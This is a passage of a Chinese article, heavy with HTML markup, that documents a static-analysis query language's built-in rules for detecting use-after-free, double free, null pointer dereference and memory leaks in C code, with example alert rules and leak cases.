184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">aliases</span></code><span leaf="">，双 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">$</span></code><span leaf=""> 不能省。</span></p><table style="border: none;border-collapse: collapse;width: 500px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">写法</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">解决什么问题</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">结果落在哪</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">&lt;uaf()&gt;</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">有没有 UAF（Double Free 也算一类）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">出错的那次使用</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">&lt;doubleFree()&gt;</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">有没有第二次 free</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">第二次 free</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">&lt;npd()&gt;</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">可能为空的时候有没有解引用</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">解引用的位置</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">&lt;memLeak()&gt;</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">函数结束时这块堆内存是不是还可能没放、也没交出去</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">那次分配</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">PS：只要 Double Free，可以写成 &lt;uaf(kind=&#34;double-free&#34;)&gt;。</span></p><table style="border: none;border-collapse: collapse;width: 500px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">写法</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">在找什么</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">&lt;heapAlloc()&gt;</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">malloc 这类分配</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">&lt;freeCall()&gt;</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">free</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">&lt;derefSite()&gt;</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">写成 *p 的读取（p-&gt;x 不一定在这里）</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">&lt;nullCheck()&gt;</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">if (p) 这种判空</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">&lt;pointsTo()&gt;</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">这个指针可能指向哪</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">&lt;aliases(target=$b)&gt;</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">会不会和 $b 是同一块内存</span></p></td></tr></tbody></table><div data-nest-level="2" data-pm-slice="6 2 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;visibility: visible;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 2px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-size: 18px;visibility: visible;"><p data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;style&#34;:&#34;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">五、规则使用案例 </span></strong></p></div></div></div><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">全项目扫一遍</span></strong></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf="">*&lt;<span class="code-snippet__title">heapAlloc</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$alloc</span></span></code><br/><code><span leaf="">*&lt;<span class="code-snippet__title">freeCall</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$free</span></span></code><br/><code><span leaf="">*&lt;<span class="code-snippet__title">uaf</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$uaf</span></span></code><br/><code><span leaf="">*&lt;<span class="code-snippet__title">doubleFree</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$df</span></span></code><br/><code><span leaf="">*&lt;<span class="code-snippet__title">npd</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$npd</span></span></code><br/><code><span leaf="">*&lt;<span class="code-snippet__title">memLeak</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$leak</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">alert <span class="code-snippet__variable">$uaf</span> <span class="code-snippet__keyword">for</span> { title: <span class="code-snippet__string">&#34;Use After Free&#34;</span>, title_zh: <span class="code-snippet__string">&#34;释放后使用&#34;</span>, level: <span class="code-snippet__string">&#34;high&#34;</span> }</span></code><br/><code><span leaf="">alert <span class="code-snippet__variable">$df</span>  <span class="code-snippet__keyword">for</span> { title: <span class="code-snippet__string">&#34;Double Free&#34;</span>,    title_zh: <span class="code-snippet__string">&#34;重复释放&#34;</span>,   level: <span class="code-snippet__string">&#34;high&#34;</span> }</span></code><br/><code><span leaf="">alert <span class="code-snippet__variable">$npd</span> <span class="code-snippet__keyword">for</span> { title: <span class="code-snippet__string">&#34;Null Deref&#34;</span>,     title_zh: <span class="code-snippet__string">&#34;空指针解引用&#34;</span>, level: <span class="code-snippet__string">&#34;high&#34;</span> }</span></code><br/><code><span leaf="">alert <span class="code-snippet__variable">$leak</span> <span class="code-snippet__keyword">for</span> { title: <span class="code-snippet__string">&#34;Memory Leak&#34;</span>,   title_zh: <span class="code-snippet__string">&#34;内存泄漏&#34;</span>,   level: <span class="code-snippet__string">&#34;low&#34;</span> }</span></code><br/></pre></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">UAF</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">不用自己判断 free 后面还有没有用。找到被 free 的指针，交给引擎：</span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="swift"><code><span leaf="">free(<span class="code-snippet__operator">*</span> <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$free_arg</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__variable">$free_arg</span> #-&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$ptr</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$ptr</span><span class="code-snippet__operator">&lt;</span>uaf()<span class="code-snippet__operator">&gt;</span> <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$uaf</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">alert <span class="code-snippet__variable">$uaf</span> <span class="code-snippet__keyword">for</span> {</span></code><br/><code><span leaf="">    title: <span class="code-snippet__string">&#34;Use After Free&#34;</span>,</span></code><br/><code><span leaf="">    title_zh: <span class="code-snippet__string">&#34;释放后使用&#34;</span>,</span></code><br/><code><span leaf="">    level: <span class="code-snippet__string">&#34;high&#34;</span>,</span></code><br/><code><span leaf="">    risk: <span class="code-snippet__string">&#34;释放后使用&#34;</span>,</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">NPD</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">找到解引用，再问当时空不空：</span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf="">*&lt;<span class="code-snippet__title">npd</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$npd</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">alert <span class="code-snippet__variable">$npd</span> <span class="code-snippet__keyword">for</span> {</span></code><br/><code><span leaf="">    title: <span class="code-snippet__string">&#34;Null Pointer Dereference&#34;</span>,</span></code><br/><code><span leaf="">    title_zh: <span class="code-snippet__string">&#34;空指针解引用&#34;</span>,</span></code><br/><code><span leaf="">    level: <span class="code-snippet__string">&#34;high&#34;</span>,</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">只针对某一个指针</span></strong></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf="">pa <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$pa</span></span></code><br/><code><span leaf="">pb <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$pb</span></span></code><br/><code><span leaf="">*&lt;<span class="code-snippet__title">doubleFree</span>(target=<span class="code-snippet__variable">$pa</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$df_pa</span></span></code><br/><code><span leaf="">*&lt;<span class="code-snippet__title">doubleFree</span>(target=<span class="code-snippet__variable">$pb</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$df_pb</span></span></code><br/></pre></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">泄漏</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">看函数结束时还在不在：</span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf="">p <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$focus</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$focus</span>&lt;<span class="code-snippet__title">memLeak</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$leak</span></span></code><br/></pre></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">malloc 完直接 return：还活着，也没交出去，报泄漏</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">free 完再 return：不报</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">if (abrt) free(p); 然后返回：有一条路没释放，报泄漏</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">then、else 里都 free：不报</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">return p;：所有权交给调用者，不报</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">别名</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">两个指针是不是同一块：</span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span 